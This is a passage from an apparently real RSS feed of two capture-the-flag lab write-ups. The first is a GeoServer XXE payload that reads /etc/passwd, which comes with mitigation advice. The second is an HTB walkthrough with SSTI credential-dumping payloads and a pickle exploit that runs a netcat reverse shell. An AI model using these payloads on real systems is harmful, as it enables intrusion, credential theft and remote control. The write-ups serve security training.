<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Motasem Hamdan</title>
    <description>The latest articles on DEV Community by Motasem Hamdan (@motasem_hamdan_9c56098a7e).</description>
    <link>https://dev.to/motasem_hamdan_9c56098a7e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3752887%2F89efe090-57c3-4486-a133-0f8df0dc6a02.jpg</url>
      <title>DEV Community: Motasem Hamdan</title>
      <link>https://dev.to/motasem_hamdan_9c56098a7e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/motasem_hamdan_9c56098a7e"/>
    <language>en</language>
    <item>
      <title>TryHackMe GeoServer's XXE 2025 Walkthrough</title>
      <dc:creator>Motasem Hamdan</dc:creator>
      <pubDate>Fri, 06 Feb 2026 10:32:18 +0000</pubDate>
      <link>https://dev.to/motasem_hamdan_9c56098a7e/tryhackme-geoservers-xxe-2025-walkthrough-44ik</link>
      <guid>https://dev.to/motasem_hamdan_9c56098a7e/tryhackme-geoservers-xxe-2025-walkthrough-44ik</guid>
      <description>&lt;p&gt;In GeoServer CVE-2025-58360, we are dealing with an XML External Entity (XXE) vulnerability in 2025, a flaw that arguably should have been extinct a decade ago.&lt;/p&gt;

&lt;p&gt;The challenge forces you to stop thinking like a script kiddie looking for a Metasploit module and start thinking like a protocol auditor who understands that the standards defining the web (like OGC's WMS) are often the very vectors that betray it.&lt;/p&gt;

&lt;h3&gt;
  
  
  What This Vulnerability Really Tests
&lt;/h3&gt;

&lt;p&gt;At its core, it is a rigorous examination of your ability to manipulate &lt;strong&gt;Structured Data Protocols&lt;/strong&gt; beyond standard HTTP parameter fuzzing.&lt;/p&gt;

&lt;p&gt;It tests your competency in Protocol Switching recognizing that while a Web Map Service (WMS) is typically queried via GET requests in a browser (e.g., &lt;code&gt;?request=GetMap&lt;/code&gt;), the specification mandates support for XML-based POST requests.&lt;/p&gt;

&lt;p&gt;This is where the vulnerability lives. The &lt;a href="https://tryhackme.com/room/geoservercve202558360?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer"&gt;room&lt;/a&gt; challenges you to identify that the application's XML parser is configured promiscuously, allowing Document Type Definitions (DTDs) to define external entities.&lt;/p&gt;

&lt;p&gt;It tests your ability to craft Out-of-Band or Error-Based data exfiltration payloads, verifying if you can trick a Java application into reading its own filesystem (&lt;code&gt;/etc/passwd&lt;/code&gt;) and spitting the content back at you in an error log. It is a test of white-box logic applied to a black-box endpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enumeration Methodology
&lt;/h3&gt;

&lt;p&gt;The standard directory-busting approach is functionally useless here because the endpoint &lt;code&gt;/geoserver/wms&lt;/code&gt; is likely already known or easily discovered. The elite methodology requires a Method Swapping audit.&lt;/p&gt;

&lt;p&gt;When you encounter a RESTful or SOAP-like endpoint that behaves normally with GET requests, your immediate instinct must be to test its behavior with POST. You are looking for the Content-Type disparity.&lt;/p&gt;

&lt;p&gt;In this specific case, you interact with the &lt;code&gt;GetMap&lt;/code&gt; operation. Standard enumeration involves capturing a legitimate GET request for a map layer (like &lt;code&gt;trymapme_offices&lt;/code&gt;) and converting it into its XML equivalent.&lt;/p&gt;

&lt;p&gt;You aren't just looking for a 200 OK; you are probing the parser.&lt;/p&gt;

&lt;p&gt;You send a minimal XML structure to see if the server accepts it. If it does, you inject a benign DTD (like defining an entity &lt;code&gt;&amp;amp;test;&lt;/code&gt; with the value "hello") to see if the server resolves it. If "hello" appears in the error message or the rendered map label, you have confirmed the parser is vulnerable.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://shop.motasem-notes.net/collections/cheat-sheets?ref=the-mastermind-notes.ghost.io" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimgproxy.fourthwall.com%2FI-VPuEyqgYNG1WitBRAEF3YcI0ixGCob3SnFkT1-U6E%2Fw%3A1200%2Fsm%3A1%2Fenc%2F29CzqoA7JMjatjEm%2FRL0x_h6GmqMmlRWU%2FREmVXVKVSon9YgGE%2Fzxehe2e32DVqKqDH%2Fm4-3foRcVfVR98u-%2FzQ17umnZ9AJ9IPsS%2FcR55xzGxCGlxApab%2Fh7HLWztqWe_Wg9Ct%2FDH3oCuafBp72DJ5n%2FeJe0qdcNqiAi5InM%2FSXy2g1ttTz1shUv6%2FpzLNuCBmRi5QPtRw%2FH5d_rKQJuyXxP3D4%2FmEpR1g" height="1600" class="m-0" width="1200"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://shop.motasem-notes.net/collections/cheat-sheets?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer" class="c-link"&gt;
            Cyber Security Notes &amp;amp; Cheat Sheets | The MasterMind Notes / Motasem Hamdan
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            The official Cyber Security Notes &amp;amp; Cheat Sheets collection for The MasterMind Notes / Motasem Hamdan. Shop products like: The Ultimate CVE Timeline (2010–2026) Cheat Sheet, Cloud SOC Analyst Cheat Sheet | Log Analysis, and more.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimgproxy.fourthwall.com%2FFJqqpShALvXlMqWPo8tKb-LuD974ARrBgzxw_9OChZ4%2Fs%3A96%3A96%2Fsm%3A1%2Fenc%2FbE1WsNBEuZizd6l9%2FKw-Z-lFulBPL1GC5%2FgqPvpMWwKyKQS6BK%2FYXDsapRqLlrJyMew%2Fx4v8DUBDfFn88lvz%2FB8GWQKFUb75Z3BAP%2F9XcbYkA0cZciwG86%2FLPdkiQ1EjE8eC7FP%2F9x1PYgzk7rsXBEWp%2Fv65cQVflX20AgXOV%2FBDpNXcsN6nzs2sYU%2FcXB7cxvkmou3OEAt%2Fu_2AstgJmMfsg2Wv%2FGu8ZwRrbbzEeZSkg%2FHMB2D6KHCPJYicvB%2Fr1HiEVwR7gvQlZ-L" width="96" height="96"&gt;
          shop.motasem-notes.net
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  Commands Cheat Sheet
&lt;/h3&gt;

&lt;p&gt;While the logic is paramount, having the precision syntax is critical for exploitation, especially when dealing with the strict XML formatting required by GeoServer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Execution Command&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;curl&lt;/code&gt; to fire this XML at the WMS endpoint, ensuring the Content-Type is strictly set to generic XML or the specific WMS mime-type. &lt;code&gt;curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://&amp;lt;TARGET_IP&amp;gt;/geoserver/wms&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Error-Based XXE Payload:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This payload constructs a malicious XML POST request that defines an external entity pointing to the sensitive file. We place the entity reference &lt;code&gt;&amp;amp;xxe;&lt;/code&gt; inside a field we know the server will process (and likely fail on, revealing the data in the error).XML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;
&amp;lt;!DOCTYPE foo [ 
  &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt; 
]&amp;gt;
&amp;lt;GetMap service="WMS" version="1.1.1"&amp;gt;
  &amp;lt;StyledLayerDescriptor version="1.0.0"&amp;gt;
    &amp;lt;UserLayer&amp;gt;
      &amp;lt;Name&amp;gt;trymapme_offices&amp;lt;/Name&amp;gt;
      &amp;lt;UserStyle&amp;gt;
        &amp;lt;Name&amp;gt;&amp;amp;xxe;&amp;lt;/Name&amp;gt; &amp;lt;FeatureTypeStyle&amp;gt;
          &amp;lt;Rule&amp;gt;
            &amp;lt;PointSymbolizer/&amp;gt;
          &amp;lt;/Rule&amp;gt;
        &amp;lt;/FeatureTypeStyle&amp;gt;
      &amp;lt;/UserStyle&amp;gt;
    &amp;lt;/UserLayer&amp;gt;
  &amp;lt;/StyledLayerDescriptor&amp;gt;
&amp;lt;/GetMap&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Common Mistakes
&lt;/h3&gt;

&lt;p&gt;The most fatal error on this box is &lt;strong&gt;Protocol rigidity&lt;/strong&gt;. Researchers often try to inject the XXE payload into the URL parameters of a GET request, which will fail because the vulnerable code path is triggered only when the XML parser is invoked via the request body. Another common mistake is &lt;strong&gt;Ignoring the Error Logs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this specific CVE, the data exfiltration often happens via verbose error messages. If you are expecting the &lt;code&gt;/etc/passwd&lt;/code&gt; file to be rendered as a map image, you will be disappointed.&lt;/p&gt;

&lt;p&gt;You must read the HTTP response body (the XML error) to find the leaked text. Finally, many testers fail to properly structure the OGC-compliant XML wrapper (&lt;code&gt;GetMap&lt;/code&gt;, &lt;code&gt;StyledLayerDescriptor&lt;/code&gt;), causing the server to reject the request as "Malformed" before the parser even reaches the malicious DTD.&lt;/p&gt;
&lt;h3&gt;
  
  
  Tool Usage Patterns
&lt;/h3&gt;

&lt;p&gt;This environment demands a surgical approach to tooling. &lt;strong&gt;Burp Suite Professional&lt;/strong&gt; (or Community) is essential, particularly the &lt;strong&gt;Repeater&lt;/strong&gt; tab, as it allows you to rapidly iterate on the XML structure and view the raw response headers and body.&lt;/p&gt;

&lt;p&gt;You will be heavily relying on the Send to Repeater workflow. However, for the initial discovery or if you are working from a headless AttackBox, &lt;code&gt;curl&lt;/code&gt; is your scalpel. You need to become comfortable using &lt;code&gt;curl&lt;/code&gt; with the &lt;code&gt;-d @filename&lt;/code&gt; flag to send clean, pre-formatted XML files, avoiding the escaping hell of trying to put XML into a command-line string.&lt;/p&gt;

&lt;p&gt;Automated scanners like SQLMap are useless here; this is a logic flaw in the parser, not a database injection (though it feels similar).&lt;/p&gt;
&lt;h3&gt;
  
  
  Security Lesson &amp;amp; Mitigation
&lt;/h3&gt;

&lt;p&gt;The primary lesson from CVE-2025-58360 is that &lt;strong&gt;default configurations are often insecure&lt;/strong&gt;. GeoServer vulnerabilities frequently arise because the underlying XML parsers (often provided by Java libraries) have external entity resolution enabled by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The fix is rarely in the code logic but in the parser configuration. Developers must explicitly &lt;strong&gt;disable DTD processing&lt;/strong&gt; in their &lt;code&gt;DocumentBuilderFactory&lt;/code&gt; settings (&lt;code&gt;setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Infrastructure Defense&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On the network level, egress filtering is critical. If the XXE was Blind (no error output), the attacker would try to make the server call out to their machine. Blocking the server from initiating outbound connections to the internet or internal subnets neuters the SSRF component of this attack.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/388076?ref=the-mastermind-notes.ghost.io" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimg.buymeacoffee.com%2Fapi%2F%3Fextras%3DdXJsPSZjcmVhdG9yPVRoZSUyME1hc3Rlck1pbmRzJTIwTm90ZXMmZGVzaWduX2NvZGU9MiZkZXNpZ25fY29sb3I9JTIzRkZERDAwJnNsdWc9bm90ZXNjYXRhbG9nJmlzX2NyZWF0aW5nPUNvdXJzZXMlMkMlMjBTdHVkeSUyME5vdGVzJTIwJTI2JTIwQm9vayUyMFN1bW1hcmllcyZleHRyYXNfdGl0bGU9VkhKNVNHRmphMDFsSUZOQlRERWdVM1IxWkhrZ1RtOTBaWE1nSmlCSGRXbGtaU0FvVlc1dlptWnBZMmxoYkNrJTNEJmV4dHJhc19pbWFnZT1hSFIwY0hNNkx5OWpaRzR1WW5WNWJXVmhZMjltWm1WbExtTnZiUzkxY0d4dllXUnpMM0psZDJGeVpITXZNakF5TlMwd055MHlNaTh4THpFNU5UQTBPVjlEYjNabGNsOXdibWRmVmpJdWFuQmxaMEF6TURCM1h6QmxMbXB3WnclM0QlM0Q%3D" height="601" class="m-0" width="1201"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/388076?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer" class="c-link"&gt;
            TryHackMe SAL1 Study Notes &amp;amp;amp; Guide (Unofficial) - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            TryHackMe SAL1 Study Notes is designed as a comprehensive guide for cybersecurity beginners and those preparing for the TryHackMe SAL1 exam. It provides structured study materials covering security fo
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png" width="200" height="200"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  
  
  Expert Hints
&lt;/h3&gt;

&lt;p&gt;If you are investigating the logs to answer the room's questions, pay close attention to the &lt;strong&gt;&lt;code&gt;geoserver_app.log&lt;/code&gt;&lt;/strong&gt;. The vulnerability is "noisy." When the attacker (or you) forces the server to read a file that isn't a valid style descriptor, the server throws an exception.&lt;/p&gt;

&lt;p&gt;That exception contains the content of the file it tried to parse. Look for stack traces that seem to contain "root❌0:0" strings—that's your stolen password file. Also, remember that the "flag" might not be in a standard text file; the attacker might have used the XXE to list directories or read application config files to find it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Certifications Prep Suggestions
&lt;/h3&gt;

&lt;p&gt;This machine is an ideal training ground for intermediate-to-advanced certifications that require manual web application exploitation:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://buymeacoffee.com/notescatalog/e/504571?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer"&gt;&lt;strong&gt;OSWE (OffSec Web Expert)&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; The requirement to construct a valid XML payload based on reading documentation (OGC standards) and then exploiting it is the core of the OSWE exam.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://buymeacoffee.com/notescatalog/e/234031?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer"&gt;&lt;strong&gt;BSCP (Burp Suite Certified Practitioner)&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; This is a textbook example of "XML External Entity injection," a category that frequently appears in the BSCP exam's mystery labs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;eWPTX (eLearnSecurity Web Penetration Tester eXtreme):&lt;/strong&gt; The need to pivot from a known service (WMS) to an exploitation vector fits perfectly with the eWPTX syllabus.&lt;/p&gt;

&lt;p&gt; &lt;strong&gt;Join the Cyber Security Notes Membership:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/membership?ref=the-mastermind-notes.ghost.io" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fopengraph%2Fimages%2F1730588%2F1%2Fog_9630827_1765478408.jpg" height="450" class="m-0" width="800"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/membership?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer" class="c-link"&gt;
            Membership | The MasterMinds Notes - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            AboutCyber Security Notes &amp;amp;amp; CoursesContactconsultation@motasem-notes.netProduct's Legal &amp;amp;amp; TOS InfoPlease read all terms of service and legal information about the products from hereReviews and
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png" width="200" height="200"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  TryHackMe Room Answers
&lt;/h3&gt;

&lt;p&gt;Room answers can be &lt;a href="https://motasem-notes.net/geoserver-cve-2025-58360-tryhackme-walkthrough/?ref=the-mastermind-notes.ghost.io" rel="noopener noreferrer"&gt;found here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>SSTI Explained: HTB Hacknet Writeup</title>
      <dc:creator>Motasem Hamdan</dc:creator>
      <pubDate>Wed, 04 Feb 2026 18:20:57 +0000</pubDate>
      <link>https://dev.to/motasem_hamdan_9c56098a7e/ssti-explained-htb-hacknet-writeup-5gd</link>
      <guid>https://dev.to/motasem_hamdan_9c56098a7e/ssti-explained-htb-hacknet-writeup-5gd</guid>
      <description>&lt;p&gt;Welcome to HTB &lt;strong&gt;Hacknet&lt;/strong&gt;, a Hard-difficulty machine on Hack The Box that tests your ability to read the developer’s mind. This is a masterclass in &lt;strong&gt;Framework Exploitation&lt;/strong&gt; and &lt;strong&gt;Insecure Deserialization&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this detailed breakdown, we dissect an attack chain that starts with a Python web framework blindly trusting user input and ends with a race condition in a root-privileged maintenance script.&lt;/p&gt;

&lt;p&gt;We will explore how to traverse internal objects to leak data without SQL, how to weaponize Python serialization, and why standard automated scanners will leave you empty-handed on this box.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 1: Behavioral Reconnaissance
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://motasem-notes.net/server-side-template-injection-explained-htb-hacknet-walkthrough/" rel="noopener noreferrer"&gt;Hacknet&lt;/a&gt; demands a departure from the loud and proud automated scanning methodology. While Nmap gives us the coordinates, the entry point is hidden in the application logic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo nmap -p- -sS -T4 -Pn --min-rate 2000 10.10.11.85
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Expert Insight:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Automated directory busters often fail here because the vulnerability is a hidden behavior.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/321854" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimg.buymeacoffee.com%2Fapi%2F%3Fextras%3DdXJsPSZjcmVhdG9yPVRoZSUyME1hc3Rlck1pbmRzJTIwTm90ZXMmZGVzaWduX2NvZGU9MiZkZXNpZ25fY29sb3I9JTIzRkZERDAwJnNsdWc9bm90ZXNjYXRhbG9nJmlzX2NyZWF0aW5nPUNvdXJzZXMlMkMlMjBTdHVkeSUyME5vdGVzJTIwJTI2JTIwQm9vayUyMFN1bW1hcmllcyZleHRyYXNfdGl0bGU9U0dGamExUm9aVUp2ZUNCRFpYSjBhV1pwWldRZ1VHVnVaWFJ5WVhScGIyNGdWR1Z6ZEdsdVp5QlRjR1ZqYVdGc2FYTjBJQ2hEVUZSVEtTQlRkSFZrZVNCT2IzUmxjeUI4SURJd01qWWdSV1JwZEdsdmJpQXJJRVpTUlVVZ1EwaEZRVlFnVTBoRlJWUSUzRCZleHRyYXNfaW1hZ2U9YUhSMGNITTZMeTlqWkc0dVluVjViV1ZoWTI5bVptVmxMbU52YlM5MWNHeHZZV1J6TDNKbGQyRnlaSE12TWpBeU5TMHdOeTB5TWk4eEx6RTRNREEwTVY5b2RIQmZZM0IwYzE5Mk0xOWpiM1psY2k1cWNHVm5RRE13TUhkZk1HVXVhbkJu" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/321854" rel="noopener noreferrer" class="c-link"&gt;
            HackTheBox Certified Penetration Testing Specialist (CPTS) Study Notes | 2026 Edition + FREE CHEAT SHEET - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            The HackTheBox CPTS Study Notes V8 are an 856-page PDF guide updated to meet the changes performed on the exam in 2026. They are designed to help candidates prepare for the Hack The Box Certified Pene
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;





&lt;h3&gt;
  
  
  Phase 2: Server-Side Template Injection
&lt;/h3&gt;

&lt;p&gt;We identify a classic sink: the &lt;strong&gt;Username&lt;/strong&gt; field. However, the injection doesn’t trigger immediately on the main profile view. It triggers only when viewing the /likes/{id} endpoint. This is a lesson in &lt;strong&gt;Context Discovery,&lt;/strong&gt; understanding that data flows through multiple templates, some more secure than others.&lt;/p&gt;

&lt;p&gt;The application uses a Python framework (likely Flask or Django) that fails to sanitize input before rendering it. This allows us to inject Server-Side Template Injection (SSTI) payloads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Payload Strategy:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We input {{ 7*7 }}. If the page renders 49, we have execution.&lt;/p&gt;

&lt;p&gt;We don’t just want a shell; we want data. We use the template engine to introspect the users object array.&lt;/p&gt;

&lt;p&gt;Instead of brute-forcing a login, we query index 0 of the user array (users.0). In most databases, the first user created is the Administrator.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Verification Payload (Username field)
{{ 7*7 }}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Recon Payload (Dump object values)
{{ users.values }}# Exfiltration Payload (Targeting the Admin)
{{ users.0.email }}
{{ users.0.password }} 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Phase 3: Race Conditions &amp;amp; Serialization
&lt;/h3&gt;

&lt;p&gt;Gaining a foothold as a low-privileged user is only half the battle. The privilege escalation phase shifts gears to &lt;strong&gt;Linux System Internals&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We discover a root-privileged process that interacts with the /var/tmp directory. This process is running a cleanup script that deletes cache files. However, it blindly deserializes the contents of files in this directory using Python's pickle module. This creates a &lt;strong&gt;Race Condition&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Vulnerability:&lt;/strong&gt; The root process trusts that files in /var/tmp are valid cache files. It reads them and deserializes them. If we can plant a malicious serialized object (a "pickle bomb") and name it correctly right before the script processes it, the root user executes our code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Exploit Pattern:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitor:&lt;/strong&gt; Use watch to see when the cleanup script runs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Weaponize:&lt;/strong&gt; Create a Python script that generates a pickled object containing a reverse shell payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Race:&lt;/strong&gt; Run a loop that constantly writes this malicious file to /var/tmp, hoping to catch the root process mid-execution.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File System Forensics (Watch for cadence)
watch -n 1 'ls -ltr /var/tmp/django_cache'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# The Pickle Payload Logic (Conceptual Python)
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.x 4444 &amp;gt;/tmp/f',))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Expert Insight:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Tools like&lt;/em&gt; &lt;strong&gt;&lt;em&gt;LinPEAS&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;are invaluable here, but you must know how to read them. Ignore the CVE suggestions.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Phase 4: Post-Exploitation Forensics
&lt;/h3&gt;

&lt;p&gt;Getting root is the beginning of the looting phase. We find GPG-encrypted artifacts.&lt;/p&gt;

&lt;p&gt;This mimics a real-world engagement where credentials are often secured but accessible to admins.&lt;/p&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/390668" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimg.buymeacoffee.com%2Fapi%2F%3Fextras%3DdXJsPSZjcmVhdG9yPVRoZSUyME1hc3Rlck1pbmRzJTIwTm90ZXMmZGVzaWduX2NvZGU9MiZkZXNpZ25fY29sb3I9JTIzRkZERDAwJnNsdWc9bm90ZXNjYXRhbG9nJmlzX2NyZWF0aW5nPUNvdXJzZXMlMkMlMjBTdHVkeSUyME5vdGVzJTIwJTI2JTIwQm9vayUyMFN1bW1hcmllcyZleHRyYXNfdGl0bGU9U0dGamExUm9aVUp2ZUNCRFpYSjBhV1pwWldRZ1YyVmlJRVY0Y0d4dmFYUmhkR2x2YmlCVGNHVmphV0ZzYVhOMElDaElWRUlnUTFkRlV5a2dUbTkwWlhNZ0tGVnViMlptYVdOcFlXd3AmZXh0cmFzX2ltYWdlPWFIUjBjSE02THk5alpHNHVZblY1YldWaFkyOW1abVZsTG1OdmJTOTFjR3h2WVdSekwzSmxkMkZ5WkhNdk1qQXlOaTB3TVMweU1pOHhMekE1TXpBME1sOWpUMVpGVWk1d2JtZEFNekF3ZDE4d1pTNXFjR2MlM0Q%3D" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/390668" rel="noopener noreferrer" class="c-link"&gt;
            HackTheBox Certified Web Exploitation Specialist (HTB CWES) Notes (Unofficial) - Buymeacoffee
          &lt;/a&gt;
